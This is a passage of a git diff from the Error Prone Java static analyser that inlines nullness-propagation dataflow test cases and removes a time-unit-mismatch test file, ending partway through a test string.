http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.time.testdata; - -import static java.util.concurrent.TimeUnit.NANOSECONDS; - -import java.util.Optional; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class TimeUnitMismatchPositiveCases { - int startMicros; - int stopMillis; - - void fields() { - // BUG: Diagnostic contains: expected microseconds but was milliseconds - startMicros = stopMillis; - - // BUG: Diagnostic contains: If it instead means microseconds - startMicros = stopMillis; - - // BUG: Diagnostic contains: MILLISECONDS.toMicros(stopMillis) - startMicros = stopMillis; - } - - void memberSelect() { - // BUG: Diagnostic contains: expected microseconds but was milliseconds - this.startMicros = this.stopMillis; - } - - void locals() { - int millis = 0; - // BUG: Diagnostic contains: expected microseconds but was milliseconds - startMicros = millis; - } - - long getMicros() { - return 0; - } - - void returns() { - // BUG: Diagnostic contains: expected nanoseconds but was microseconds - long fooNano = getMicros(); - } - - void doSomething(double startSec, double endSec) {} - - void setMyMillis(int timeout) {} - - void args() { - double ms = 0; - double ns = 0; - // BUG: Diagnostic contains: expected seconds but was milliseconds - doSomething(ms, ns); - // BUG: Diagnostic contains: expected seconds but was nanoseconds - doSomething(ms, ns); - - // BUG: Diagnostic contains: expected milliseconds but was nanoseconds - setMyMillis((int) ns); - } - - void timeUnit() { - int micros = 0; - // BUG: Diagnostic contains: expected nanoseconds but was microseconds - NANOSECONDS.toMillis(micros); - } - - class Foo { - Foo(long seconds) {} - } - - void constructor() { - int nanos = 0; - // BUG: Diagnostic contains: expected seconds but was nanoseconds - new Foo(nanos); - } - - void boxed() { - Long nanos = 0L; - // BUG: Diagnostic contains: expected milliseconds but was nanoseconds - long millis = nanos; - } - - void optionalGet() { - Optional maybeNanos = Optional.of(0L); - // BUG: Diagnostic contains: expected milliseconds but was nanoseconds - long millis = maybeNanos.get(); - } -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/NullnessPropagationTest.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/NullnessPropagationTest.java index 2de6c8dcc8f..216792412ef 100644 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/NullnessPropagationTest.java +++ b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/NullnessPropagationTest.java @@ -123,42 +123,1715 @@ public static void triggerNullnessCheckerOnPrimitive(short s) {} @Test public void transferFunctions1() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases1.java").doTest(); + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases1.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; + +/** + * Dataflow analysis cases for testing transfer functions in nullness propagation, primarily around + * conditionals. + */ +public class NullnessPropagationTransferCases1 { + + public void conditionalNot(String foo) { + if (!(foo == null)) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(foo); + return; + } + + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(foo); + } + + public void conditionalOr1(String foo, String bar) { + if (foo == null || bar == null) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(bar); + return; + } + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(foo); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(bar); + } + + public void conditionalOr2(String foo, String bar) { + if (foo != null || bar != null) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + public void conditionalOr3(String foo) { + if (foo != null || foo != null) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(foo); + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + public void conditionalOr4(String foo) { + // BUG: Diagnostic contains: (Non-null) + if (foo == null || triggerNullnessChecker(foo) == null) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + // BUG: Diagnostic contains: (Null) + if (foo != null || triggerNullnessChecker(foo) != null) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + public void conditionalAnd1(String foo, String bar) { + if (foo != null && bar != null) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(foo); + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + public void conditionalAnd2(String foo) { + if (foo == null && foo != null) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(foo); + return; + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + public void conditionalAnd3(String foo) { + // BUG: Diagnostic contains: (Null) + if (foo == null && triggerNullnessChecker(foo) == null) { + // Something + } + + // BUG: Diagnostic contains: (Non-null) + if (foo != null && triggerNullnessChecker(foo) != null) { + // Something + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + public void ternary1(String nullable) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(nullable == null ? "" : nullable); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(nullable != null ? null : nullable); + } + + public void ternary2(boolean test, String nullable) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(test ? "yes" : "no"); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(test ? nullable : ""); + } + + public void valueOfComparisonItself() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 == 1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 != 1); + boolean b; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(b = (1 == 1)); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(b = (1 != 1)); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(!b); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(b || b); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(b && b); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(b = !b); + } + + public void leastUpperBoundOfNonNullAndUnknown(String param, boolean b) { + if (b) { + param = "foo"; + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(param); + } + + public void stringConcatenation(String a, String b) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(a + b); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(null + b); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(a + 5); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(null + (String) null); + } +}""") + .doTest(); + } + + @Test + public void transferFunctions2() { + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases2.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.base.Verify.verifyNotNull; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; +import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases2.MyEnum.ENUM_INSTANCE; +import static java.lang.String.format; +import static java.lang.String.valueOf; + +import com.google.common.base.Optional; +import com.google.common.base.Strings; +import java.math.BigInteger; +import java.util.Objects; + +/** + * Dataflow analysis cases for testing transfer functions in nullness propagation around constants + * and built-in knowledge. + */ +@SuppressWarnings("deprecation") // test cases include deprecated JUnit methods +public class NullnessPropagationTransferCases2 { + private static class MyClass { + static String staticReturnNullable() { + return null; + } + } + + static final int CONSTANT_INT = 1; + static final Integer CONSTANT_BOXED_INTEGER = 1; + static final Integer CONSTANT_DERIVED_INTEGER = (Integer) (CONSTANT_INT); + static final Boolean CONSTANT_DERIVED_BOOLEAN = CONSTANT_INT == 1; + static final String CONSTANT_STRING = "foo"; + static final String CONSTANT_NULL_STRING = null; + static final String CONSTANT_DERIVED_STRING = CONSTANT_DERIVED_BOOLEAN ? CONSTANT_STRING : ""; + static final MyClass CONSTANT_OTHER_CLASS = new MyClass(); + static final Integer[] CONSTANT_OBJECT_ARRAY = new Integer[7]; + static final Integer[] CONSTANT_ARRAY_INITIALIZER = {Integer.valueOf(5)}; + static final Object CONSTANT_NO_INITIALIZER; + + static { + CONSTANT_NO_INITIALIZER = new Object(); + } + + public void constants() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(CONSTANT_INT); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_BOXED_INTEGER); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_DERIVED_INTEGER); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_DERIVED_BOOLEAN); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_STRING); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(CONSTANT_NULL_STRING); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_DERIVED_STRING); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_OTHER_CLASS); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_OBJECT_ARRAY); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(CONSTANT_OBJECT_ARRAY[0]); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_ARRAY_INITIALIZER); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(CONSTANT_NO_INITIALIZER); + } + + public static final MyBigInteger CIRCULAR = MyBigInteger.CIRCLE; + + public void circularInitialization() { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(MyBigInteger.CIRCLE); + } + + static class MyBigInteger extends BigInteger { + // Shadows BigInteger.ONE. + public static final MyBigInteger ONE = null; + // Creates circular initializer dependency. + public static final MyBigInteger CIRCLE = NullnessPropagationTransferCases2.CIRCULAR; + + MyBigInteger(String val) { + super(val); + } + + // Has the same signature as a BigInteger method. In other words, our method hides that one. + public static BigInteger valueOf(long val) { + return null; + } + } + + public void builtInConstants() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(BigInteger.ZERO); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(MyBigInteger.ZERO); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(BigInteger.ONE); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(MyBigInteger.ONE); + } + + enum MyEnum { + ENUM_INSTANCE; + + static MyEnum valueOf(char c) { + return null; + } + + public static final MyEnum NOT_COMPILE_TIME_CONSTANT = ENUM_INSTANCE; + public static final MyEnum UNKNOWN_VALUE_CONSTANT = instance(); + + public static MyEnum instance() { + return ENUM_INSTANCE; + } + } + + public void enumConstants() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(MyEnum.ENUM_INSTANCE); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(ENUM_INSTANCE); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(MyEnum.NOT_COMPILE_TIME_CONSTANT); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(MyEnum.UNKNOWN_VALUE_CONSTANT); + } + + public void explicitValueOf() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(String.valueOf(3)); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(valueOf(3)); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Integer.valueOf(null)); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(BigInteger.valueOf(3)); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Enum.valueOf(MyEnum.class, "INSTANCE")); + + // We'd prefer this to be Non-null. See the TODO on CLASSES_WITH_NON_NULLABLE_VALUE_OF_METHODS. + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(MyEnum.valueOf("INSTANCE")); + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(MyBigInteger.valueOf(3)); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(MyEnum.valueOf('a')); + } + + public void methodInvocationIsDereference(String nullableParam) { + String str = nullableParam; + str.toString(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + } + + public void booleanMethodInvocationIsDereference(String nullableParam) { + String str = nullableParam; + str.isEmpty(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + } + + public void staticMethodInvocationIsNotDereferenceNullableReturn(MyClass nullableParam) { + nullableParam.staticReturnNullable(); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nullableParam); + } + + public void staticMethodInvocationIsNotDereferenceNonNullReturn(String nullableParam) { + nullableParam.valueOf(true); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nullableParam); + } + + public void staticMethodInvocationIsNotDereferenceButPreservesExistingInformation() { + String s = "foo"; + s.format("%s", "foo"); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + + public void staticMethodInvocationIsNotDereferenceButDefersToOtherNewInformation(String s) { + s = s.valueOf(true); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + + public void classgetNamesMethods() { + Class klass = this.getClass(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(klass.getName()); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(klass.getSimpleName()); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(klass.getCanonicalName()); + } + + public void stringStaticMethodsReturnNonNull() { + String s = null; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(String.format("%s", "foo")); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(format("%s", "foo")); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s.format("%s", "foo")); + } + + public void stringInstanceMethodsReturnNonNull() { + String s = null; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s.substring(0)); + } + + public void requireNonNullReturnsNonNull(String s) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Objects.requireNonNull(s)); + } + + public void requireNonNullUpdatesVariableNullness(String s) { + Objects.requireNonNull(s); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + + public void checkNotNullReturnsNonNull(String s) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(checkNotNull(s)); + } + + public void checkNotNullUpdatesVariableNullness(String s) { + checkNotNull(s); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + + public void verifyNotNullReturnsNonNull(String s) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(verifyNotNull(s)); + } + + public void verifyNotNullUpdatesVariableNullness(String s) { + verifyNotNull(s); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + + public void junit3AssertNotNullOneArgUpdatesVariableNullness(Object o) { + junit.framework.Assert.assertNotNull(o); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(o); + } + + public void junit3AssertNotNullTwoArgUpdatesVariableNullness(String message, Object o) { + junit.framework.Assert.assertNotNull(message, o); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(o); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(message); + } + + public void junit4AssertNotNullOneArgUpdatesVariableNullness(Object o) { + org.junit.Assert.assertNotNull(o); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(o); + } + + public void junit4AssertNotNullTwoArgUpdatesVariableNullness(String message, Object o) { + org.junit.Assert.assertNotNull(message, o); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(o); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(message); + } + + public void stringsIsNullOrEmptyIsNullCheck(String s) { + if (Strings.isNullOrEmpty(s)) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(s); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + } + + public void objectsIsNullIsNullCheck(String s) { + if (Objects.isNull(s)) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(s); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + } + + public void objectsNonNullIsNullCheck(String s) { + if (Objects.nonNull(s)) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(s); + } + } + + public void optionalMethodsReturnNonNullUnlessAnnotated() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Optional.absent()); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Optional.of("")); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Optional.fromNullable(null)); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Optional.of("Test")); + Optional myOptional = Optional.absent(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(myOptional.get()); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(myOptional.or("")); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(myOptional.asSet()); + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(myOptional.orNull()); + } +}""") + .doTest(); + } + + @Test + public void transferFunctions3() { + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases3.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnBoxed; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; + +import com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest; + +/** + * Dataflow analysis cases for testing transfer functions in nullness propagation around various + * kinds of expressions, method parameter and call handling, and loops. + */ +public class NullnessPropagationTransferCases3 { + public void casts() { + Object o = null; + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker((String) o); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed((int) o); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive((int) o); + + o = "str"; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker((String) o); + } + + public void literals() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive((byte) 1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive((short) 1000); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(33L); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(0.444f); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(0.5555d); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(true); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive('z'); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker("a string literal"); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(String.class); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(null); + } + + public void autoboxed() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed((byte) 1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed((short) 1000); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(33L); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(0.444f); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(0.5555d); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(true); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed('z'); + } + + public void autounbox() { + Integer i = null; + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(i); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i); + // Unboxing is a method call, so i must be non-null... + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(i); + } + + public void parameter(String str, int i) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str); + + // A call to plain triggerNullnessChecker() would implicitly call Integer.valueOf(i). + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i); + } + + public void assignment(String nullableParam) { + String str = nullableParam; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str); + + str = "a string"; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + + String otherStr = str; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + + str = null; + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str); + + otherStr = str; + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str); + } + + public void assignmentExpressionValue() { + String str = "foo"; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str = null); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str = "bar"); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + + str = null; + String str2 = null; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str = str2 = "bar"); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str = str2 = null); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + + public void localVariable() { + short s; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(s = 1000); // narrowing conversion + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(s); + int i = 2; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i = s); // widening conversion + String str = "a string literal"; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + Object obj = null; + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(obj); + + ++i; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i); + } + + public void boxedPrimitives() { + Short s = 1000; + // BUG: Diagnostic contains: (Non-null) + NullnessPropagationTest.triggerNullnessChecker(s); + + Integer i = 2; + // BUG: Diagnostic contains: (Non-null) + NullnessPropagationTest.triggerNullnessChecker(i); + } + + public void nullableAssignmentToPrimitiveVariableExpressionValue() { + int i; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i = boxedIntReturningMethod()); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(boxedIntReturningMethod()); + } + + public void methodInvocation() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(intReturningMethod()); + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(stringReturningMethod()); + } + + private Integer boxedIntReturningMethod() { + return null; + } + + private int intReturningMethod() { + return 0; + } + + private String stringReturningMethod() { + return null; + } + + public void objectCreation(Object nullableParam) { + Object obj = nullableParam; + obj = new Object(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(obj); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(new Object[0]); + } + + public void inc() { + int i = 0; + short s = 0; + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i++); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(s++); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(++i); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(++s); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i += 5); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(s += 5); + } + + public void loop1() { + Object o = null; + while (true) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(o); + o.hashCode(); + } + } + + public void loop2() { + Object o = null; + Object comingValue = null; + while (true) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(o); + + o = comingValue; + comingValue = new Object(); + } + } +}""") + .doTest(); + } + + @Test + public void transferFunctions4() { + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases4.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; + +/** Tests for ==. */ +public class NullnessPropagationTransferCases4 { + + public void equalBothNull() { + String str1 = null; + if (str1 == null) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + + if (null == str1) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + + String str2 = null; + if (str1 == str2) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + + public void equalBothNonNull() { + String str1 = "foo"; + if (str1 == "bar") { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + if ("bar" == str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + String str2 = "bar"; + if (str1 == str2) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + + public void equalOneNullOtherNonNull() { + String str1 = "foo"; + if (str1 == null) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + if (null == str1) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + String str2 = null; + if (str1 == str2) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + + if (str2 == str1) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + + public void equalOneNullableOtherNull(String nullableParam) { + String str1 = nullableParam; + if (str1 == null) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + if (null == str1) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + String str2 = null; + if (str1 == str2) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: 